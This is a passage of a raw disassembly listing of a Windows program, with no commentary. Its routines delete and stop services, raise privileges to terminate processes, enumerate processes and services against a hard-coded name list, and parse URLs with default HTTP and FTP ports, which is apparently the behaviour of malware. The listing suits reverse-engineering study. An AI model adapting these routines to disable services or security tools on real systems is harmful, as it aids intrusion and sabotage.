dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA710 proc near ; CODE XREF: sub_13AC28Dj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset dword_443C18 push 0 call OpenSCManagerA ; OpenSCManagerA mov ebx, eax test ebx, ebx jnz short loc_13CA735 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_13CA735: ; CODE XREF: sub_13CA710+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_13ABBE4 push eax push ebx call OpenServiceA ; OpenServiceA mov esi, eax test esi, esi jnz short loc_13CA760 push ebx call CloseServiceHandle ; CloseServiceHandle pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_13CA760: ; CODE XREF: sub_13CA710+3Fj push ebp push edi mov edi, DeleteService push esi call edi ; DeleteService push esi call edi ; DeleteService mov ebp, ControlService lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp ; ControlService push esi call edi ; DeleteService lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp ; ControlService push esi mov esi, CloseServiceHandle call esi ; CloseServiceHandle push ebx call esi ; CloseServiceHandle pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_13CA710 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA7E0 proc near ; CODE XREF: sub_13ABCA7j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h call GetCurrentThread ; GetCurrentThread push eax call OpenThreadToken ; OpenThreadToken mov ebp, AdjustTokenPrivileges mov edi, CloseHandle test eax, eax jnz short loc_13CA830 lea ecx, [esp+38h+var_28] push ecx push 28h call GetCurrentProcess ; GetCurrentProcess push eax call OpenProcessToken ; OpenProcessToken test eax, eax jz short loc_13CA88F loc_13CA830: ; CODE XREF: sub_13CA7E0+36j cmp [esp+38h+var_28], esi jz short loc_13CA893 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset dword_444168 push esi mov [esp+44h+var_14], 2 call LookupPrivilegeValueA ; LookupPrivilegeValueA lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp ; AdjustTokenPrivileges test eax, eax jz short loc_13CA888 call GetLastError cmp eax, 514h jnz short loc_13CA893 mov ecx, [esp+38h+var_28] push ecx jmp short loc_13CA88D ; --------------------------------------------------------------------------- loc_13CA888: ; CODE XREF: sub_13CA7E0+92j mov edx, [esp+38h+var_28] push edx loc_13CA88D: ; CODE XREF: sub_13CA7E0+A6j call edi ; CloseHandle loc_13CA88F: ; CODE XREF: sub_13CA7E0+4Ej mov [esp+38h+var_28], esi loc_13CA893: ; CODE XREF: sub_13CA7E0+54j ; sub_13CA7E0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h call OpenProcess ; OpenProcess mov esi, eax test esi, esi jz short loc_13CA8B8 push 0 push esi call TerminateProcess ; TerminateProcess push esi mov bl, 1 call edi ; CloseHandle loc_13CA8B8: ; CODE XREF: sub_13CA7E0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_13CA8D7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp ; AdjustTokenPrivileges mov edx, [esp+38h+var_28] push edx call edi ; CloseHandle loc_13CA8D7: ; CODE XREF: sub_13CA7E0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_13CA7E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA940 proc near ; CODE XREF: sub_13AB5D6j var_70 = dword ptr -70h var_5C = byte ptr -5Ch var_58 = byte ptr -58h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_43 = dword ptr -43h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10BC = dword ptr 10C0h arg_10C8 = dword ptr 10CCh arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push 43B34Bh push eax mov eax, 1130h mov large fs:0, esp call near ptr 13E0C60h push esi push offset dword_4441C0 call GetModuleHandleA ; GetModuleHandleA test eax, eax mov ds:dword_1029D18, eax jnz short loc_13CA98C push offset dword_4441C0 call LoadLibraryA ; LoadLibraryA test eax, eax mov ds:dword_1029D18, eax jz loc_13CAB0A loc_13CA98C: ; CODE XREF: sub_13CA940+32j mov esi, GetProcAddress push offset dword_4441B0 push eax call esi ; GetProcAddress mov ds:dword_1029D1C, eax mov eax, ds:dword_1029D18 push offset dword_444198 push eax call esi ; GetProcAddress mov ecx, ds:dword_1029D18 push offset dword_44417C push ecx mov ds:dword_1029D20, eax call esi ; GetProcAddress mov ecx, ds:dword_1029D1C mov ds:dword_1029D24, eax test ecx, ecx jz loc_13CAB0A mov edx, ds:dword_1029D20 test edx, edx jz loc_13CAB0A test eax, eax jz loc_13CAB0A lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx ; dword_1029D1C test eax, eax jz loc_13CAB0A mov ecx, ds:dword_444124 mov eax, ds:dword_444128 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_13CAAF1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, OpenProcess lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_13CAA4F: ; CODE XREF: sub_13CA940+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp ; OpenProcess mov esi, eax test esi, esi jz short loc_13CAADD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call ds:dword_1029D20 test eax, eax jz short loc_13CAAD6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call ds:dword_1029D24 lea ecx, [esp+74h+var_54] call sub_13ABC66 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_13AB9D7 mov ecx, [edi] lea edx, [esp+78h+var_58] mov [esp+78h+var_43], ecx push edx mov ecx, ebx call sub_13AC567 lea ecx, [esp+7Ch+var_5C] mov [esp+7Ch+arg_10C8], 0FFFFFFFFh call sub_13ABE6E loc_13CAAD6: ; CODE XREF: sub_13CA940+136j push esi call CloseHandle ; CloseHandle loc_13CAADD: ; CODE XREF: sub_13CA940+11Fj mov eax, [esp+80h+var_70] add edi, 4 dec eax mov [esp+80h+var_70], eax jnz loc_13CAA4F pop ebp pop ebx loc_13CAAF1: ; CODE XREF: sub_13CA940+EFj pop edi mov al, 1 pop esi mov ecx, [esp+70h+arg_10BC] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_13CAB0A: ; CODE XREF: sub_13CA940+46j ; sub_13CA940+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_13CA940 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CABB0 proc near ; CODE XREF: sub_13ABC66j push esi mov esi, ecx call sub_13AB824 mov eax, esi pop esi retn sub_13CABB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13CABD0 proc near ; CODE XREF: sub_13ABE6Ej jmp sub_13AB626 sub_13CABD0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CABF0 proc near ; CODE XREF: sub_13AC544j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4F0 = byte ptr -4F0h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_428 = byte ptr -428h var_41C = byte ptr -41Ch var_400 = byte ptr -400h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push 43B376h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx call OpenSCManagerA ; OpenSCManagerA mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_13CAC3F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_13CAC3F: ; CODE XREF: sub_13CABF0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset dword_444414 mov [esp+528h+var_4E0], offset dword_444408 mov [esp+528h+var_4DC], offset dword_4443FC mov [esp+528h+var_4D8], offset dword_4443F4 mov [esp+528h+var_4D4], offset dword_4443E8 mov [esp+528h+var_4D0], offset dword_4443DC mov [esp+528h+var_4CC], offset dword_4443D4 mov [esp+528h+var_4C8], offset dword_4443C8 mov [esp+528h+var_4C4], offset dword_4443B8 mov [esp+528h+var_4C0], offset dword_444390 mov [esp+528h+var_4BC], offset dword_444384 mov [esp+528h+var_4B8], offset dword_444374 mov [esp+528h+var_4B4], offset dword_44435C mov [esp+528h+var_4B0], offset dword_444350 mov [esp+528h+var_4AC], offset dword_44434C mov [esp+528h+var_4A8], offset dword_444340 mov [esp+528h+var_4A4], offset dword_444338 mov [esp+528h+var_4A0], offset dword_444334 mov [esp+528h+var_49C], offset dword_444328 mov [esp+528h+var_498], offset dword_444318 mov [esp+528h+var_494], offset dword_444304 mov [esp+528h+var_490], offset dword_4442FC mov [esp+528h+var_48C], offset dword_4442F4 mov [esp+528h+var_488], offset dword_4442EC mov [esp+528h+var_484], offset dword_4442E0 mov [esp+528h+var_480], offset dword_4442D4 mov [esp+528h+var_47C], offset dword_4442CC mov [esp+528h+var_478], offset dword_4442B8 mov [esp+528h+var_474], offset dword_4442AC mov [esp+528h+var_470], offset dword_4442A0 mov [esp+528h+var_46C], offset dword_444298 mov [esp+528h+var_468], offset dword_44428C mov [esp+528h+var_464], offset dword_44427C mov [esp+528h+var_460], offset dword_444274 mov [esp+528h+var_45C], offset dword_444268 mov [esp+528h+var_458], offset dword_44425C mov [esp+528h+var_454], offset dword_444250 mov [esp+528h+var_450], offset dword_444244 mov [esp+528h+var_44C], offset dword_444238 mov [esp+528h+var_448], offset dword_444230 mov [esp+528h+var_444], offset dword_444224 mov [esp+528h+var_440], offset dword_444218 mov [esp+528h+var_43C], offset dword_444210 mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_13AB824 lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, EnumServicesStatusA push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi ; EnumServicesStatusA mov ecx, [esp+524h+var_514] push ecx call malloc ; malloc add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi ; EnumServicesStatusA mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_13CAF9F mov ebp, RegOpenKeyExA loc_13CAE7B: ; CODE XREF: sub_13CABF0+3A5j mov eax, offset dword_444414 test eax, eax jz short loc_13CAEA7 lea esi, [esp+524h+var_4E0] loc_13CAE88: ; CODE XREF: sub_13CABF0+2B5j mov ecx, [edi] push ecx push eax call _strcmpi ; _strcmpi add esp, 8 test eax, eax jz loc_13CAF83 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_13CAE88 loc_13CAEA7: ; CODE XREF: sub_13CABF0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset dword_44413C push eax call sub_13AB42D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_13ABA81 push eax push 80000002h call ebp ; RegOpenKeyExA cmp eax, ebx jz short loc_13CAEF3 mov edx, [edi] lea eax, [esp+51Ch+var_4F0] push edx push offset dword_4441EC push eax call sub_13AB42D add esp, 0Ch jmp short loc_13CAF4A ; --------------------------------------------------------------------------- loc_13CAEF3: ; CODE XREF: sub_13CABF0+2EAj mov eax, [esp+51Ch+var_500] lea ecx, [esp+51Ch+var_4F8] lea edx, [esp+51Ch+var_400] push ecx push edx push ebx push ebx push offset dword_444130 push eax call RegQueryValueExA ; RegQueryValueExA cmp eax, ebx jz short loc_13CAF2D mov ecx, [edi] lea edx, [esp+51Ch+var_4F0] push ecx push offset dword_4441D8 push edx call sub_13AB42D add esp, 0Ch jmp short loc_13CAF4A ; --------------------------------------------------------------------------- loc_13CAF2D: ; CODE XREF: sub_13CABF0+324j mov ecx, [edi] lea eax, [esp+51Ch+var_400] push eax push ecx lea edx, [esp+524h+var_4F0] push offset dword_4441CC push edx call sub_13AB42D add esp, 10h loc_13CAF4A: ; CODE XREF: sub_13CABF0+301j ; sub_13CABF0+33Bj lea eax, [esp+51Ch+var_4F0] lea ecx, [esp+51Ch+var_428] push eax call sub_13AB8C9 mov ecx, [esp+520h+arg_8] push eax mov [esp+524h+arg_0], 1 call sub_13AB725 lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_13AB626 loc_13CAF83: ; CODE XREF: sub_13CABF0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_13CAE7B mov ebp, [esp+524h+var_4FC] loc_13CAF9F: ; CODE XREF: sub_13CABF0+27Fj push ebp call CloseServiceHandle ; CloseServiceHandle lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_13CABF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CB0E0 proc near ; CODE XREF: sub_13AB9EBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 call GetModuleHandleA ; GetModuleHandleA push eax call GetModuleFileNameA ; GetModuleFileNameA mov eax, esi pop esi retn sub_13CB0E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13CB110 proc near ; CODE XREF: sub_13ABE28j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_13CB149 loc_13CB132: ; CODE XREF: sub_13CB110+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_13CB132 cmp ecx, 0 jz short loc_13CB15A loc_13CB149: ; CODE XREF: sub_13CB110+20j ; sub_13CB110+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_13CB149 loc_13CB15A: ; CODE XREF: sub_13CB110+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_13CB110 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CB1B0 proc near ; CODE XREF: sub_13AB419j arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_1029D0C, eax mov eax, offset dword_1029D0C retn sub_13CB1B0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_13CB1D0: ; CODE XREF: .idata:013ABB71j push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, ftell push esi call edi ; ftell mov ebp, fseek push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CB220 proc near ; CODE XREF: sub_13ABD38j var_15C = byte ptr -15Ch var_130 = byte ptr -130h var_128 = byte ptr -128h var_120 = byte ptr -120h var_110 = byte ptr -110h var_108 = byte ptr -108h var_104 = byte ptr -104h var_100 = byte ptr -100h var_FC = byte ptr -0FCh var_F8 = byte ptr -0F8h var_F4 = byte ptr -0F4h var_F0 = byte ptr -0F0h var_EC = byte ptr -0ECh var_E8 = byte ptr -0E8h var_E4 = byte ptr -0E4h var_E0 = byte ptr -0E0h var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_D4 = byte ptr -0D4h var_CC = byte ptr -0CCh var_C8 = byte ptr -0C8h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B4 = byte ptr -0B4h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_A0 = dword ptr -0A0h var_9C = byte ptr -9Ch var_98 = byte ptr -98h var_94 = byte ptr -94h var_90 = byte ptr -90h var_8C = byte ptr -8Ch var_88 = byte ptr -88h var_84 = byte ptr -84h var_80 = byte ptr -80h var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_74 = byte ptr -74h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_58 = dword ptr -58h var_54 = byte ptr -54h var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = byte ptr -44h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_20 = dword ptr -20h var_18 = byte ptr -18h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 43B443h push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_13CB24F xor al, al jmp loc_13CB829 ; --------------------------------------------------------------------------- loc_13CB24F: ; CODE XREF: sub_13CB220+26j lea ecx, [esp+90h+var_84] call sub_13AB824 push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_13AB9D7 push offset dword_443CA4 lea eax, [esp+98h+var_58] push ebx push eax lea ecx, [esp+0A0h+var_88] call sub_13ABAAE mov esi, [esp+0A0h+var_8] push eax mov ecx, esi mov [esp+0A4h+var_14], 1 call sub_13AC3BE lea ecx, [esp+0A4h+var_68] mov [esp+0A4h+var_18], bl call sub_13AB626 push offset dword_444428 mov ecx, esi call sub_13AB6EE test eax, eax jz short loc_13CB2DF push offset dword_444424 mov ecx, esi call sub_13AB6EE test eax, eax jz short loc_13CB2DF lea ecx, [esp+0ACh+var_A0] mov [esp+0ACh+var_20], 0FFFFFFFFh call sub_13AB626 xor al, al jmp loc_13CB829 ; --------------------------------------------------------------------------- loc_13CB2DF: ; CODE XREF: sub_13CB220+92j ; sub_13CB220+A2j push offset dword_444420 lea ecx, [esp+0ACh+var_6C] push 1 push ecx lea ecx, [esp+0B4h+var_9C] call sub_13ABAAE push 40h mov ecx, eax mov [esp+0B8h+var_28], 2 call sub_13AC120 lea ecx, [esp+0B8h+var_7C] mov edi, eax mov [esp+0B8h+var_2C], bl call sub_13AB626 cmp edi, ebx push offset dword_444420 push 1 jz loc_13CB61C lea edx, [esp+0C0h+var_4C] lea ecx, [esp+0C0h+var_AC] push edx call sub_13ABAAE push offset dword_4437F8 lea ecx, [esp+0C8h+var_70] push 1 push ecx mov ecx, eax mov [esp+0D0h+var_38], 3 call sub_13ABAAE push offset dword_443CA4 lea edx, [esp+0D4h+var_94] push ebx push edx mov ecx, eax mov [esp+0DCh+var_44], 4 call sub_13ABAAE lea edi, [esi+15h] push eax mov ecx, edi mov [esp+0E0h+var_50], 5 call sub_13AC3BE lea ecx, [esp+0E0h+var_A4] mov [esp+0E0h+var_54], 4 call sub_13AB626 lea ecx, [esp+0E0h+var_8C] mov [esp+0E0h+var_54], 3 call sub_13AB626 lea ecx, [esp+0E0h+var_74] mov [esp+0E0h+var_54], bl call sub_13AB626 push offset byte_446F80 mov ecx, edi call sub_13AB6EE test eax, eax jnz short loc_13CB3D9 lea ecx, [esp+0E4h+var_D8] mov [esp+0E4h+var_58], 0FFFFFFFFh call sub_13AB626 xor al, al jmp loc_13CB829 ; --------------------------------------------------------------------------- loc_13CB3D9: ; CODE XREF: sub_13CB220+19Cj push offset dword_444420 lea eax, [esp+0E8h+var_A8] push 1 push eax lea ecx, [esp+0F0h+var_D8] call sub_13ABAAE push offset dword_4437F8 lea ecx, [esp+0F4h+var_9C] push 1 push ecx mov ecx, eax mov [esp+0FCh+var_64], 6 call sub_13ABAAE push offset dword_443CA4 lea edx, [esp+100h+var_90] push 1 push edx mov ecx, eax mov [esp+108h+var_70], 7 call sub_13ABAAE mov ecx, eax mov [esp+108h+var_7C], 8 call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+108h+var_9C] mov [esi+54h], eax mov [esp+108h+var_7C], 7 call sub_13AB626 lea ecx, [esp+108h+var_B4] mov [esp+108h+var_7C], 6 call sub_13AB626 lea ecx, [esp+108h+var_CC] mov [esp+108h+var_7C], bl call sub_13AB626 cmp [esi+54h], ebx jnz short loc_13CB4A5 push offset dword_444428 mov ecx, esi call sub_13AB6EE test eax, eax jnz short loc_13CB48E mov dword ptr [esi+54h], 50h loc_13CB48E: ; CODE XREF: sub_13CB220+265j push offset dword_444424 mov ecx, esi call sub_13AB6EE test eax, eax jnz short loc_13CB4A5 mov dword ptr [esi+54h], 15h loc_13CB4A5: ; CODE XREF: sub_13CB220+255j ; sub_13CB220+27Cj push offset dword_444420 lea eax, [esp+114h+var_D4] push 1 push eax lea ecx, [esp+11Ch+var_104] call sub_13ABAAE push offset dword_4437F8 lea ecx, [esp+120h+var_C8] push ebx push ecx mov ecx, eax mov [esp+128h+var_90], 9 call sub_13ABAAE push offset dword_443CA4 lea edx, [esp+12Ch+var_BC] push ebx push edx mov ecx, eax mov [esp+134h+var_9C], 0Ah call sub_13ABAAE lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+138h+var_A8], 0Bh call sub_13AC3BE lea ecx, [esp+138h+var_CC] mov [esp+138h+var_AC], 0Ah call sub_13AB626 lea ecx, [esp+138h+var_E4] mov [esp+138h+var_AC], 9 call sub_13AB626 lea ecx, [esp+138h+var_FC] mov [esp+138h+var_AC], bl call sub_13AB626 push offset byte_446F80 mov ecx, edi call sub_13AB6EE test eax, eax jnz short loc_13CB55E lea ecx, [esp+13Ch+var_130] mov [esp+13Ch+var_B0], 0FFFFFFFFh call sub_13AB626 xor al, al jmp loc_13CB829 ; --------------------------------------------------------------------------- loc_13CB55E: ; CODE XREF: sub_13CB220+321j push offset dword_444420 lea eax, [esp+140h+var_100] push 1 push eax lea ecx, [esp+148h+var_130] call sub_13ABAAE push offset dword_4437F8 lea ecx, [esp+14Ch+var_F4] push ebx push ecx mov ecx, eax mov [esp+154h+var_BC], 0Ch call sub_13ABAAE push offset dword_443CA4 lea edx, [esp+158h+var_E8] push 1 push edx mov ecx, eax mov [esp+160h+var_C8], 0Dh call sub_13ABAAE lea edi, [esi+3Fh] push eax mov ecx, edi mov [esp+164h+var_D4], 0Eh call sub_13AC3BE lea ecx, [esp+164h+var_F8] mov [esp+164h+var_D8], 0Dh call sub_13AB626 lea ecx, [esp+164h+var_110] mov [esp+164h+var_D8], 0Ch call sub_13AB626 lea ecx, [esp+164h+var_128] mov [esp+164h+var_D8], bl call sub_13AB626 push offset byte_446F80 mov ecx, edi call sub_13AB6EE test eax, eax jnz loc_13CB743 lea ecx, [esp+168h+var_15C] mov [esp+168h+var_DC], 0FFFFFFFFh call sub_13AB626 xor al, al jmp loc_13CB829 ; --------------------------------------------------------------------------- loc_13CB61C: ; CODE XREF: sub_13CB220+100j lea eax, [esp+0C0h+var_64] lea ecx, [esp+0C0h+var_AC] push eax call sub_13ABAAE push offset dword_443CA4 lea ecx, [esp+0C8h+var_58] push ebx push ecx mov ecx, eax mov [esp+0D0h+var_38], 0Fh call sub_13ABAAE lea edi, [esi+15h] push eax mov ecx, edi mov [esp+0D4h+var_44], 10h call sub_13AC3BE lea ecx, [esp+0D4h+var_68] mov [esp+0D4h+var_48], 0Fh call sub_13AB626 lea ecx, [esp+0D4h+var_80] mov [esp+0D4h+var_48], bl call sub_13AB626 push offset byte_446F80 mov ecx, edi call sub_13AB6EE test eax, eax jnz short loc_13CB6A3 lea ecx, [esp+0D8h+var_CC] mov [esp+0D8h+var_4C], 0FFFFFFFFh call sub_13AB626 xor al, al jmp loc_13CB829 ; --------------------------------------------------------------------------- loc_13CB6A3: ; CODE XREF: sub_13CB220+466j push offset dword_444420 lea edx, [esp+0DCh+var_84] push 1 push edx lea ecx, [esp+0E4h+var_CC] call sub_13ABAAE push offset dword_443CA4 lea ecx, [esp+0E8h+var_78] push 1 push ecx mov ecx, eax mov byte ptr [esp+0F0h+var_58], 11h call sub_13ABAAE mov ecx, eax mov [esp+0F0h+var_64], 12h call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+0F0h+var_84] mov [esi+54h], eax mov [esp+0F0h+var_64], 11h call sub_13AB626 lea ecx, [esp+0F0h+var_9C] mov [esp+0F0h+var_64], bl call sub_13AB626 cmp [esi+54h], ebx jnz short loc_13CB743 push offset dword_444428 mov ecx, esi call sub_13AB6EE test eax, eax jnz short loc_13CB72C mov dword ptr [esi+54h], 50h loc_13CB72C: ; CODE XREF: sub_13CB220+503j push offset dword_444424 mov ecx, esi call sub_13AB6EE test eax, eax jnz short loc_13CB743 mov dword ptr [esi+54h], 15h loc_13CB743: ; CODE XREF: sub_13CB220+3DBj ; sub_13CB220+4F3j ... push offset dword_444420 lea ecx, [esp+0FCh+var_EC] call sub_13AB7E3 lea edx, [esp+0FCh+var_D8] push eax push edx lea ecx, [esp+104h+var_F0] call sub_13AC22E push offset dword_444420 lea ecx, [esp+108h+var_E0] mov [esp+108h+var_78], 13h call sub_13AB7E3 push eax lea eax, [esp+10Ch+var_9C] push eax lea ecx, [esp+110h+var_E4] call sub_13AC22E push eax lea ecx, [esp+114h+var_EC] mov [esp+114h+var_84], 14h call sub_13AC40E lea ecx, [esp+114h+var_A8] mov [esp+114h+var_88], 13h call sub_13AB626 push offset dword_444420 lea ecx, [esp+118h+var_F0] call sub_13AB7E3 lea ecx, [esp+118h+var_AC] push eax push ecx lea ecx, [esp+120h+var_F4] call sub_13AC22E push eax lea ecx, [esp+124h+var_FC] mov [esp+124h+var_94], 15h call sub_13AC40E lea ecx, [esp+124h+var_B8] mov [esp+124h+var_98], 13h call sub_13AB626 add esi, 